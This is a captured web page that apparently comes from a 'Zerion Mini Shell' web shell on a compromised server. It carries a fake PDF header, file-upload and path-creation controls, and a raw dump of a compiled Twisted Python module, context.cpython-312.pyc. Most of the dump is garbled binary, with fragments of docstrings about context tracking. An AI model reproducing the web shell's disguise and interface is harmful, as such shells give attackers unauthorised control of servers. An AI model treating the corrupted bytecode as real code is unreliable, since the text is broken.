%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/python/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/python/__pycache__/context.cpython-312.pyc

�

Ϫ�f�����UdZddlmZddlmZmZiZeeeeeeffe	d<ejZGd�d�ZGd�d�Z
e
�atjatj"ad	�Zy
)z�
Dynamic pseudo-scoping for Python.

Call functions with context.call({key: value}, func); func and
functions that it calls will be able to use 'context.get(key)' to
retrieve 'value'.

This is thread-safe.
�)�local)�Dict�Type�defaultContextDictc�$�eZdZdZd�Zd�Zdd�Zy)�ContextTrackera�
    A L{ContextTracker} provides a way to pass arbitrary key/value data up and
    down a call stack without passing them as parameters to the functions on
    that call stack.

    This can be useful when functions on the top and bottom of the call stack
    need to cooperate but the functions in between them do not allow passing the
    necessary state.  For example::

        from twisted.python.context import call, get

        def handleRequest(request):
            call({'request-id': request.id}, renderRequest, request.url)

        def renderRequest(url):
            renderHeader(url)
            renderBody(url)

        def renderHeader(url):
            return "the header"

        def renderBody(url):
            return "the body (request id=%r)" % (get("request-id"),)

    This should be used sparingly, since the lack of a clear connection between
    the two halves can result in code which is difficult to understand and
    maintain.

    @ivar contexts: A C{list} of C{dict}s tracking the context state.  Each new
        L{ContextTracker.callWithContext} pushes a new C{dict} onto this stack
        for the duration of the call, making the data available to the function
        called and restoring the previous data once it is complete..
    c��tg|_y�N)r�contexts��selfs �8/usr/lib/python3/dist-packages/twisted/python/context.py�__init__zContextTracker.__init__;s��+�,��
�c��|jj|�	||i|��|jj�S#|jj�wxYw)aK
        Call C{func(*args, **kw)} such that the contents of C{newContext} will
        be available for it to retrieve using L{getContext}.

        @param newContext: A C{dict} of data to push onto the context for the
            duration of the call to C{func}.

        @param func: A callable which will be called.

        @param args: Any additional positional arguments to pass to C{func}.

        @param kw: Any additional keyword arguments to pass to C{func}.

        @return: Whatever is returned by C{func}

        @raise Exception: Whatever is raised by C{func}.
        )r�append�pop)r
�
newContext�func�args�kws     r�callWithContextzContextTracker.callWithContext>sI��$	
�
�
���Z�(�	 ���$��$��M�M�����D�M�M����s	�?�ANc�f�t|j�D]	}	||cS|S#t$rY�wxYw)a(
        Retrieve the value for a key from the context.

        @param key: The key to look up in the context.

        @param default: The value to return if C{key} is not found in the
            context.

        @return: The value most recently remembered in the context for C{key}.
        )�reversedr�KeyError)r
�key�default�ctxs    r�
getContextzContextTracker.getContextVsE���D�M�M�*�	�C�
��3�x��	�
����
��
�s�$�	0�0r
)�__name__�
__module__�__qualname__�__doc__rrr�rrrrs�� �D-� �0rrc�&�eZdZd�Zd�Zd�Zdd�Zy)�ThreadedContextTrackerc�"�t�|_yr
)r�storagers rrzThreadedContextTracker.__init__js���w��rc��	|jjS#t$r t�x}|j_|cYSwxYwr
)r(�ct�AttributeErrorr)r
r*s  r�currentContextz%ThreadedContextTracker.currentContextms<��	��<�<�?�?�"���	�#1�#3�3�B������I�	�s��&A�Ac�L�|j�j||g|��i|��Sr
)r,r)r
rrrrs     rrz&ThreadedContextTracker.callWithContextts*��4�t�"�"�$�4�4�S�$�L��L��L�LrNc�B�|j�j||�Sr
)r,r)r
rrs   rrz!ThreadedContextTracker.getContextws���"�"�$�/�/��W�=�=rr
)r r!r"rr,rrr$rrr&r&is����M�>rr&c�H�|atjatjayr
)�theContextTrackerr�callr�get)�ctrs r�installContextTrackerr4�s ��
���,�,�D�
�
&�
&�CrN)r#�	threadingr�typingrrr�object�str�__annotations__�__setitem__�
setDefaultrr&r0rr1rr2r4r$rr�<module>r<s{��
���9;��D��f��t�C��H�~�5�6�;�
�
+�
+�
�N�N�b>�>�$+�,���(�(���"�"��'r

Zerion Mini Shell 1.0